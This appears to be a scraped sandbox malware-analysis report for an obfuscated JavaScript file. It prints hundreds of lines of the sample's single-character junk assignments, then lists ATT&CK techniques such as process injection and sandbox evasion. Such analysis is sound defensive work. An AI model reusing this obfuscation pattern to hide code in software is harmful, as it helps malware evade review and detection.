584	vxbjfu = "P";
585	vxbjfu = "p";
586	vxbjfu = "_";
587	gajnhv = "R";
588	gajnhv = "u";
589	gajnhv = "C";
590	gajnhv = "D";
591	gajnhv = "P";
592	gajnhv = "u";
593	gajnhv = "M";
594	gajnhv = "O";
595	gajnhv = "x";
596	gajnhv = "U";
597	gajnhv = "D";
598	gajnhv = "O";
599	gajnhv = "e";
600	gajnhv = "g";
601	gajnhv = "R";
602	gajnhv = "G";
603	gajnhv = "x";
604	gajnhv = "J";
605	gajnhv = "y";
606	gajnhv = "N";
607	gajnhv = "q";
608	gajnhv = "N";
609	gajnhv = "H";
610	fqfhftsfh = "j";
611	fqfhftsfh = "D";
612	fqfhftsfh = "L";
613	fqfhftsfh = "A";
614	fqfhftsfh = "k";
615	fqfhftsfh = "h";
616	szivsfjy = "e";
617	szivsfjy = "Z";
618	szivsfjy = "q";
619	szivsfjy = "q";
620	szivsfjy = "P";
621	mfcsntnp = "P";
622	mfcsntnp = "j";
623	mfcsntnp = "a";
624	mfcsntnp = "A";
625	mfcsntnp = "p";
626	mfcsntnp = "W";
627	mfcsntnp = "g";
628	mfcsntnp = "H";
629	mfcsntnp = "F";
630	mfcsntnp = "f";
631	mfcsntnp = "s";
632	mfcsntnp = "m";
633	mfcsntnp = "C";
634	mfcsntnp = "P";
635	mfcsntnp = "P";
636	mfcsntnp = "A";
637	mfcsntnp = "o";
638	mfcsntnp = "C";
639	mfcsntnp = "f";
640	mfcsntnp = "b";
641	mfcsntnp = "D";
642	mfcsntnp = "p";
643	mfcsntnp = "v";
644	ttjjtpfm = "n";
645	ttjjtpfm = "l";
646	ttjjtpfm = "K";
647	ttjjtpfm = "l";
648	ttjjtpfm = "b";
649	ttjjtpfm = "j";
650	ttjjtpfm = "f";
651	ttjjtpfm = "r";
652	ttjjtpfm = "A";
653	ttjjtpfm = "l";
654	ttjjtpfm = "q";
655	ttjjtpfm = "T";
656	ttjjtpfm = "X";
657	ttjjtpfm = "q";
658	ttjjtpfm = "d";
659	ttjjtpfm = "e";
660	uizpxhx = "E";
661	uizpxhx = "P";
662	uizpxhx = "v";
663	uizpxhx = "r";
664	uizpxhx = "k";
665	uizpxhx = "g";
666	uizpxhx = "p";
667	uizpxhx = "o";
668	uizpxhx = "z";
669	uizpxhx = "w";
670	uizpxhx = "s";
671	uizpxhx = "u";
672	uizpxhx = "Q";
673	uizpxhx = "W";
674	uizpxhx = "t";
675	uizpxhx = "g";
676	uizpxhx = "r";
677	uizpxhx = "s";
678	uizpxhx = "n";
679	uizpxhx = "n";
680	uizpxhx = "B";
681	uizpxhx = "d";
682	uizpxhx = "f";
683	uizpxhx = "o";
684	uizpxhx = "B";
685	uizpxhx = "g";
686	uizpxhx = "G";
687	uizpxhx = "H";
688	uizpxhx = "Q";
689	uizpxhx = "G";
690	uizpxhx = "q";
691	uizpxhx = "h";
692	uizpxhx = "z";
693	uizpxhx = "a";
694	uizpxhx = "e";
695	uizpxhx = "r";
696	uizpxhx = "a";
697	uizpxhx = "z";
698	uizpxhx = "T";
699	uizpxhx = "w";
700	oqndutx = "S";
701	oqndutx = "L";
702	imizdzen = "y";
703	imizdzen = "h";
704	imizdzen = "w";
705	imizdzen = "E";
706	imizdzen = "Z";
707	imizdzen = "q";
708	imizdzen = "P";
709	imizdzen = "R";
710	imizdzen = "L";
711	imizdzen = "m";
712	imizdzen = "w";
713	imizdzen = "w";
714	imizdzen = "x";
715	gpqcf = "W";
716	gpqcf = "N";
717	gpqcf = "i";
718	gpqcf = "f";
719	gpqcf = "u";
720	gpqcf = "V";
721	gpqcf = "a";
722	gpqcf = "I";
723	gpqcf = "Q";
724	gpqcf = "A";
725	gpqcf = "z";
726	gpqcf = "E";
727	gpqcf = "F";
728	gpqcf = " ";
729	tzqmbbyc = "s";
730	tzqmbbyc = "z";
731	tzqmbbyc = "w";
732	tzqmbbyc = "w";
733	tzqmbbyc = "o";
734	tzqmbbyc = "a";
735	tzqmbbyc = "Y";
736	tzqmbbyc = "T";
737	tzqmbbyc = "Y";
738	tzqmbbyc = "o";
739	tzqmbbyc = "Q";
740	tzqmbbyc = "M";
741	tzqmbbyc = "C";
742	tzqmbbyc = "t";
743	tzqmbbyc = "D";
744	tzqmbbyc = "W";
745	tzqmbbyc = "l";
746	tzqmbbyc = "k";
747	tzqmbbyc = "q";
748	tzqmbbyc = "T";
749	tzqmbbyc = "t";
750	tzqmbbyc = "H";
751	tzqmbbyc = "P";
752	tzqmbbyc = "m";
753	tzqmbbyc = "t";
754	tzqmbbyc = "U";
755	tzqmbbyc = "k";
756	tzqmbbyc = "K";
757	tzqmbbyc = "I";
758	sziyrzb = "u";
759	sziyrzb = "n";
760	sziyrzb = "O";
761	sziyrzb = "y";
762	sziyrzb = "Y";
763	sziyrzb = "n";
764	sziyrzb = "g";
765	sziyrzb = "g";
766	sziyrzb = "m";
767	sziyrzb = "G";
768	sziyrzb = "h";
769	sziyrzb = "Z";
770	sziyrzb = "v";
771	sziyrzb = "H";
772	sziyrzb = "b";
773	sziyrzb = "c";
774	sziyrzb = "f";
775	sziyrzb = "f";
776	sziyrzb = "u";
777	sziyrzb = "c";
778	sziyrzb = "w";
779	sziyrzb = "x";
780	sziyrzb = "X";
781	sziyrzb = "C";
782	sziyrzb = "G";
783	sziyrzb = "K";
784	sziyrzb = "p";
785	sziyrzb = "e";
786	sziyrzb = "N";
787	sziyrzb = "n";
788	sziyrzb = "o";
789	sziyrzb = "G";
790	sziyrzb = "o";
791	sziyrzb = "c";
792	pawzgfra = "x";
793	pawzgfra = "r";
794	pawzgfra = "F";
795	pawzgfra = "c";
796	pawzgfra = "a";
797	pawzgfra = "l";
798	pawzgfra = "y";
799	pawzgfra = "I";
800	pawzgfra = "B";
801	pawzgfra = "q";
802	gopzis = "B";
803	gopzis = "m";
804	wbhdzybvt = "G";
805	wbhdzybvt = "b";
806	wbhdzybvt = "t";
807	wbhdzybvt = "U";
808	wbhdzybvt = "q";
809	wbhdzybvt = "P";
810	wbhdzybvt = "s";
811	wbhdzybvt = "f";
812	wbhdzybvt = "A";
813	wbhdzybvt = "p";
814	wbhdzybvt = "N";
815	wbhdzybvt = "n";
816	wbhdzybvt = "f";
817	wbhdzybvt = "n";
818	wbhdzybvt = "F";
819	wbhdzybvt = "V";
820	wbhdzybvt = "K";
821	wbhdzybvt = "d";
822	wbhdzybvt = "J";
823	wbhdzybvt = "h";
824	wbhdzybvt = "M";
825	wbhdzybvt = "A";
826	wbhdzybvt = "O";
827	wbhdzybvt = "a";
828	wbhdzybvt = "V";
829	wbhdzybvt = "e";
830	wbhdzybvt = "b";
831	wbhdzybvt = "H";
832	wbhdzybvt = "L";
833	wbhdzybvt = "E";
834	wbhdzybvt = "f";
835	wbhdzybvt = "v";
836	wbhdzybvt = "N";
837	wbhdzybvt = "s";
838	wbhdzybvt = "a";
839	wbhdzybvt = "E";
840	crlwl = "H";
841	crlwl = "R";
842	crlwl = "C";
843	crlwl = "b";
844	crlwl = "w";
845	crlwl = "P";
846	crlwl = "T";
847	crlwl = "t";
848	crlwl = "r";
849	crlwl = "Q";
850	crlwl = "d";
851	crlwl = "H";
852	crlwl = "S";
853	crlwl = "p";
854	crlwl = "E";
855	crlwl = "x";
856	crlwl = "v";
857	crlwl = "M";
858	crlwl = "4";
859	biagfpy = "k";
860	biagfpy = "g";
861	biagfpy = "o";
862	biagfpy = "M";
863	biagfpy = "c";
864	biagfpy = "i";
865	vooswjrm = "m";
866	vooswjrm = "e";
867	vooswjrm = "u";
868	vooswjrm = "V";
869	vooswjrm = "O";
870	vooswjrm = "b";
871	vooswjrm = "Q";
872	vooswjrm = "M";
873	vooswjrm = "c";
874	vooswjrm = "w";
875	vooswjrm = "h";
876	vooswjrm = "b";
877	vooswjrm = "f";
878	vooswjrm = "V";
879	vooswjrm = "n";
880	vooswjrm = "W";
881	vooswjrm = "T";
882	vooswjrm = "j";
883	vooswjrm = "R";
884	vooswjrm = "F";
885	vooswjrm = "k";
886	vooswjrm = "F";
887	vooswjrm = "Y";
888	vooswjrm = "t";
889	vooswjrm = "B";
890	vooswjrm = "l";
891	vooswjrm = "J";
892	vooswjrm = "T";
893	vooswjrm = "c";
894	vooswjrm = "e";
895	vooswjrm = "S";
896	sbiemw = "Q";
897	sbiemw = "z";
898	sbiemw = "V";
899	sbiemw = "X";
900	sbiemw = "k";
901	sbiemw = "q";
902	sbiemw = "A";
903	sbiemw = "w";
904	sbiemw = "G";
905	sbiemw = "t";
906	sbiemw = "E";
907	sbiemw = "k";
908	sbiemw = "H";
909	sbiemw = "6";
910	jgdxuiidj = "o";
911	jgdxuiidj = "V";
912	jgdxuiidj = "z";
913	jgdxuiidj = "O";
914	jgdxuiidj = "L";
915	jgdxuiidj = "T";
916	ogqohpcqx = "T";
917	ogqohpcqx = "Y";
918	ogqohpcqx = "f";
919	ogqohpcqx = "W";
920	ogqohpcqx = "O";
921	ogqohpcqx = "d";
922	ogqohpcqx = "n";
923	ogqohpcqx = "q";
924	ogqohpcqx = "H";
925	ogqohpcqx = "A";
926	ogqohpcqx = "r";
927	ogqohpcqx = "G";
928	ogqohpcqx = "f";
929	ogqohpcqx = "B";
930	ogqohpcqx = "q";
931	ogqohpcqx = "g";
932	ogqohpcqx = "U";
933	ogqohpcqx = "Q";
934	ogqohpcqx = "p";
935	ogqohpcqx = "Z";
936	ogqohpcqx = "V";
937	ogqohpcqx = "W";
938	ogqohpcqx = "c";
939	ogqohpcqx = "D";
940	ogqohpcqx = "D";
941	ogqohpcqx = "W";
942	ogqohpcqx = "g";
943	ogqohpcqx = "O";
944	ogqohpcqx = "o";
945	ogqohpcqx = "W";
946	ogqohpcqx = "Z";
947	ogqohpcqx = "N";
948	ogqohpcqx = "8";
949	ofrarn = "f";
950	ofrarn = "o";
951	ofrarn = "d";
952	ofrarn = "J";
953	ofrarn = "M";
954	ofrarn = "W";
955	ofrarn = "X";
956	ofrarn = "s";
957	ofrarn = "V";
958	ofrarn = "p";
959	ofrarn = "o";
960	ofrarn = "c";
961	ofrarn = "W";
962	ofrarn = "B";
963	ofrarn = "y";
964	ofrarn = "N";
965	ofrarn = "x";
966	ofrarn = "E";
967	ofrarn = "D";
968	ofrarn = "s";
969	ofrarn = "U";
970	trplsprm = "S";
971	trplsprm = "S";
972	trplsprm = "S";
973	trplsprm = "B";
974	trplsprm = "m";
975	trplsprm = "q";
976	trplsprm = "W";
977	trplsprm = "r";
978	trplsprm = "q";
979	trplsprm = "P";
980	trplsprm = "M";
981	trplsprm = "Z";
982	trplsprm = "p";
983	trplsprm = "P";
984	trplsprm = "r";
985	eqvdqlty = "q";
986	eqvdqlty = "o";
987	eqvdqlty = "r";
988	eqvdqlty = "B";
989	eqvdqlty = "R";
990	eqvdqlty = "k";
991	eqvdqlty = "r";
992	eqvdqlty = "M";
993	eqvdqlty = "T";
994	eqvdqlty = "S";
995	eqvdqlty = "r";
996	eqvdqlty = "P";
997	eqvdqlty = "U";
998	eqvdqlty = "K";
999	eqvdqlty = "w";
1000	eqvdqlty = "L";
1001	eqvdqlty = "A";
1002	eqvdqlty = "Z";
1003	eqvdqlty = "M";
1004	eqvdqlty = "G";
1005	eqvdqlty = "L";
1006	eqvdqlty = "O";
1007	eqvdqlty = "Z";
1008	eqvdqlty = "D";
1009	eqvdqlty = "j";
1010	eqvdqlty = "i";
1011	eqvdqlty = "o";
1012	eqvdqlty = "P";
1013	eqvdqlty = "Q";
1014	eqvdqlty = "q";
1015	eqvdqlty = "P";
1016	eqvdqlty = "B";
1017	eqvdqlty = "K";
1018	eqvdqlty = "l";
1019	eqvdqlty = "z";
1020	eqvdqlty = "j";
1021	eqvdqlty = "V";
1022	eqvdqlty = "9";
1023	itrvjo = "o";
1024	itrvjo = "H";
1025	itrvjo = "R";
1026	itrvjo = "w";
1027	itrvjo = "L";
1028	itrvjo = "R";
1029	itrvjo = "1";
1030	oeqxm = "l";
1031	oeqxm = "Y";
1032	oeqxm = "q";
1033	oeqxm = "h";
1034	oeqxm = "p";
1035	oeqxm = "Z";
1036	oeqxm = "Q";
1037	oeqxm = "t";
1038	oeqxm = "n";
1039	oeqxm = "R";
1040	oeqxm = "I";
1041	oeqxm = "L";
1042	oeqxm = "t";
1043	oeqxm = "u";
1044	oeqxm = "D";
1045	oeqxm = "Y";
1046	oeqxm = "v";
1047	oeqxm = "n";
1048	oeqxm = "B";
1049	oeqxm = "M";
1050	oeqxm = "C";
1051	oeqxm = "D";
1052	oeqxm = "W";
1053	oeqxm = "g";
1054	oeqxm = "j";
1055	oeqxm = "r";
1056	oeqxm = "C";
1057	oeqxm = "L";
1058	oeqxm = "W";
1059	oeqxm = "I";
1060	oeqxm = "V";
1061	oeqxm = "Q";
1062	oeqxm = "W";
1063	oeqxm = "r";
1064	oeqxm = "s";
1065	oeqxm = "o";
1066	oeqxm = "e";
1067	oeqxm = "f";
1068	oeqxm = "L";
1069	oeqxm = "O";
1070	oeqxm = "O";
1071	oeqxm = "A";
1072	oeqxm = "c";
1073	oeqxm = "r";
1074	oeqxm = "2";
1075	ldfle = "b";
1076	ldfle = "H";
1077	ldfle = "R";
1078	ldfle = "r";
1079	ldfle = "f";
1080	ldfle = "z";
1081	ldfle = "t";
1082	ldfle = "R";
1083	ldfle = "E";
1084	ldfle = "F";
1085	ldfle = "l";
1086	ldfle = "Z";
1087	ldfle = "A";
1088	ldfle = "F";
1089	ldfle = "S";
1090	ldfle = "v";
1091	ldfle = "Z";
1092	ldfle = "h";
1093	ldfle = "U";
1094	ldfle = "s";
1095	ldfle = "f";
1096	ldfle = "Q";
1097	ldfle = "O";
1098	ldfle = "v";
1099	ldfle = "D";
1100	ldfle = "V";
1101	ldfle = "M";
1102	ldfle = "T";
1103	ldfle = "e";
1104	ldfle = "Z";
1105	ldfle = "L";
1106	ldfle = "W";
1107	ldfle = "Q";
1108	ldfle = "R";
1109	ldfle = "O";
1110	ldfle = "l";
1111	ldfle = "s";
1112	ldfle = "z";
1113	ldfle = "n";
1114	cmajcdpf = "R";
1115	cmajcdpf = "P";
1116	cmajcdpf = "i";
1117	cmajcdpf = "n";
1118	cmajcdpf = "Y";
1119	cmajcdpf = "L";
1120	cmajcdpf = "J";
1121	cmajcdpf = "J";
1122	cmajcdpf = "v";
1123	cmajcdpf = "N";
1124	czbtll = "J";
1125	czbtll = "C";
1126	czbtll = "s";
1127	czbtll = "L";
1128	czbtll = "L";
1129	czbtll = "N";
1130	czbtll = "s";
1131	czbtll = "w";
1132	czbtll = "f";
1133	czbtll = "i";
1134	czbtll = "w";
1135	czbtll = "Y";
1136	czbtll = "N";
1137	czbtll = "P";
1138	czbtll = "X";
1139	czbtll = "U";
1140	czbtll = "q";
1141	czbtll = "Y";
1142	czbtll = "m";
1143	czbtll = "D";
1144	czbtll = "p";
1145	czbtll = "O";
1146	czbtll = "s";
1147	czbtll = "E";
1148	czbtll = "g";
1149	czbtll = "x";
1150	czbtll = "n";
1151	czbtll = "Z";
1152	czbtll = "i";
1153	czbtll = "l";
1154	czbtll = "w";
1155	czbtll = "i";
1156	czbtll = "p";
1157	czbtll = "m";
1158	czbtll = "o";
1159	czbtll = "e";
1160	czbtll = "Y";
1161	czbtll = "E";
1162	czbtll = "p";
1163	czbtll = "K";
1164	czbtll = "O";
1165	xjjct = "v";
1166	xjjct = "r";
1167	xjjct = "Y";
1168	xjjct = "f";
1169	xjjct = "l";
1170	xjjct = "B";
1171	xjjct = "t";
1172	xjjct = "f";
1173	xjjct = "V";
1174	xjjct = "B";
1175	xjjct = "N";
1176	xjjct = "w";
1177	xjjct = "a";
1178	xjjct = "G";
1179	xjjct = "D";
1180	xjjct = "m";
1181	xjjct = "o";
1182	xjjct = "s";
1183	xjjct = "a";
1184	xjjct = "o";
1185	xjjct = "O";
1186	xjjct = "t";
1187	xjjct = "L";
1188	xjjct = "r";
1189	xjjct = "U";
1190	xjjct = "5";
1191	zizaig = "q";
1192	zizaig = "n";
1193	zizaig = "z";
1194	zizaig = "p";
1195	zizaig = "3";
1196	xmjfcpqpd = "N";
1197	xmjfcpqpd = "i";
1198	xmjfcpqpd = "t";
1199	xmjfcpqpd = "d";
1200	xmjfcpqpd = "B";
1201	xmjfcpqpd = "z";
1202	xmjfcpqpd = "E";
1203	xmjfcpqpd = "c";
1204	xmjfcpqpd = "G";
1205	xmjfcpqpd = "W";
1206	xmjfcpqpd = "B";
1207	xmjfcpqpd = "Y";
1208	xmjfcpqpd = "x";
1209	xmjfcpqpd = "o";
1210	xmjfcpqpd = "U";
1211	xmjfcpqpd = "M";
1212	xmjfcpqpd = "M";
1213	xmjfcpqpd = "Q";
1214	xmjfcpqpd = "Y";
1215	xmjfcpqpd = "X";
1216	xmjfcpqpd = "g";
1217	xmjfcpqpd = "g";
1218	xmjfcpqpd = "f";
1219	dnlejbm = "u";
1220	dnlejbm = "e";
1221	dnlejbm = "p";
1222	dnlejbm = "L";
1223	dnlejbm = "j";
1224	dnlejbm = "l";
1225	icanlm = "G";
1226	icanlm = "p";
1227	icanlm = "d";
1228	icanlm = "N";
1229	icanlm = "N";
1230	icanlm = "Z";
1231	icanlm = "l";
1232	icanlm = "e";
1233	icanlm = "N";
1234	icanlm = "e";
1235	icanlm = "y";
1236	icanlm = "y";
1237	icanlm = "Z";
1238	icanlm = "C";
1239	icanlm = "E";
1240	icanlm = "W";
1241	icanlm = "i";
1242	icanlm = "A";
1243	icanlm = "y";
1244	icanlm = "u";
1245	icanlm = "J";
1246	icanlm = "E";
1247	icanlm = "v";
1248	icanlm = "I";
1249	icanlm = "Z";
1250	icanlm = "w";
1251	icanlm = "D";
1252	icanlm = "T";
1253	icanlm = "s";
1254	icanlm = "S";
1255	icanlm = "p";
1256	icanlm = "K";
1257	icanlm = "W";
1258	icanlm = "a";
1259	icanlm = "f";
1260	icanlm = "Y";
1261	bfkewstx = "h";
1262	bfkewstx = "I";
1263	bfkewstx = "D";
1264	bfkewstx = "T";
1265	bfkewstx = "X";
1266	bfkewstx = "G";
1267	bfkewstx = "K";
1268	bfkewstx = "G";
1269	bfkewstx = "o";
1270	bfkewstx = "L";
1271	bfkewstx = "n";
1272	bfkewstx = "b";
1273	bfkewstx = "h";
1274	bfkewstx = "W";
1275	bfkewstx = "M";
1276	bfkewstx = "D";
1277	bfkewstx = "u";
1278	bfkewstx = "x";
1279	bfkewstx = "i";
1280	bfkewstx = "j";
1281	bfkewstx = "w";
1282	bfkewstx = "J";
1283	bfkewstx = "M";
1284	bfkewstx = "i";
1285	bfkewstx = "N";
1286	bfkewstx = "s";
1287	bfkewstx = "O";
1288	bfkewstx = "P";
1289	bfkewstx = "h";
1290	bfkewstx = "C";
1291	bfkewstx = "u";
1292	bfkewstx = "B";
1293	bfkewstx = "B";
1294	bfkewstx = "Q";
1295	bfkewstx = "Q";
1296	bfkewstx = "s";
1297	bfkewstx = "N";
1298	bfkewstx = "a";
1299	bfkewstx = "A";
1300	bfkewstx = "A";
1301	bfkewstx = "X";
1302	bfkewstx = "u";
1303	bfkewstx = "J";
1304	bfkewstx = "Y";
1305	bfkewstx = "g";
1306	cwtwzdu = "T";
1307	cwtwzdu = "p";
1308	cwtwzdu = "S";
1309	cwtwzdu = "h";
1310	cwtwzdu = "K";
1311	cwtwzdu = "b";
1312	cwtwzdu = "U";
1313	cwtwzdu = "k";
1314	cwtwzdu = "P";
1315	cwtwzdu = "i";
1316	cwtwzdu = "m";
1317	cwtwzdu = "D";
1318	cwtwzdu = "n";
1319	cwtwzdu = "L";
1320	cwtwzdu = "v";
1321	cwtwzdu = "W";
1322	cwtwzdu = "L";
1323	cwtwzdu = "Z";
1324	cwtwzdu = "J";
1325	cwtwzdu = "Z";
1326	cwtwzdu = "R";
1327	qimwch = "B";
1328	qimwch = "b";
1329	cuvcaqnr = "k";
1330	cuvcaqnr = "v";
1331	cuvcaqnr = "u";
1332	cuvcaqnr = "Y";
1333	cuvcaqnr = "v";
1334	cuvcaqnr = "n";
1335	cuvcaqnr = "f";
1336	cuvcaqnr = "O";
1337	cuvcaqnr = "U";
1338	cuvcaqnr = "m";
1339	cuvcaqnr = "O";
1340	cuvcaqnr = "d";
1341	cuvcaqnr = "g";
1342	cuvcaqnr = "z";
1343	cuvcaqnr = "N";
1344	cuvcaqnr = "n";
1345	cuvcaqnr = "T";
1346	cuvcaqnr = "h";
1347	cuvcaqnr = "w";
1348	cuvcaqnr = "g";
1349	cuvcaqnr = "M";
1350	cuvcaqnr = "d";
1351	cuvcaqnr = "A";
1352	cuvcaqnr = "f";
1353	cuvcaqnr = "h";
1354	cuvcaqnr = "I";
1355	cuvcaqnr = "i";
1356	cuvcaqnr = "K";
1357	cuvcaqnr = "u";
1358	cuvcaqnr = "K";
1359	cuvcaqnr = "H";
1360	cuvcaqnr = "R";
1361	cuvcaqnr = "p";
1362	cuvcaqnr = "y";
1363	cuvcaqnr = "Q";
1364	cuvcaqnr = "S";
1365	cuvcaqnr = "z";
1366	cuvcaqnr = "d";
1367	cuvcaqnr = "f";
1368	cuvcaqnr = "G";
1369	cuvcaqnr = "K";
1370	cuvcaqnr = "v";
1371	cuvcaqnr = "c";
1372	cuvcaqnr = "v";
1373	cuvcaqnr = "%";
1374	iyratkmdd = "b";
1375	iyratkmdd = "U";
1376	iyratkmdd = "v";
1377	iyratkmdd = "P";
1378	iyratkmdd = "F";
1379	iyratkmdd = "Z";
1380	iyratkmdd = "k";
1381	iyratkmdd = "Y";
1382	iyratkmdd = "x";
1383	iyratkmdd = "d";
1384	iyratkmdd = "P";
1385	iyratkmdd = "O";
1386	iyratkmdd = "t";
1387	iyratkmdd = "S";
1388	iyratkmdd = "f";
1389	iyratkmdd = "Z";
1390	iyratkmdd = "E";
1391	iyratkmdd = "L";
1392	iyratkmdd = "a";
1393	iyratkmdd = "d";
1394	iyratkmdd = "y";
1395	iyratkmdd = "S";
1396	iyratkmdd = "r";
1397	iyratkmdd = "r";
1398	iyratkmdd = "J";
1399	iyratkmdd = "n";
1400	iyratkmdd = "o";
1401	iyratkmdd = "s";
1402	iyratkmdd = "k";
1403	iyratkmdd = "c";
1404	iyratkmdd = "a";
1405	iyratkmdd = "w";
1406	iyratkmdd = "K";
1407	iyratkmdd = "D";
1408	iyratkmdd = "S";
1409	iyratkmdd = "b";
1410	iyratkmdd = "I";
1411	iyratkmdd = "\"";
1412	vfbeu = "0";
1413	hffymphuh ( );	hffymphuh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 241721637114311605.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

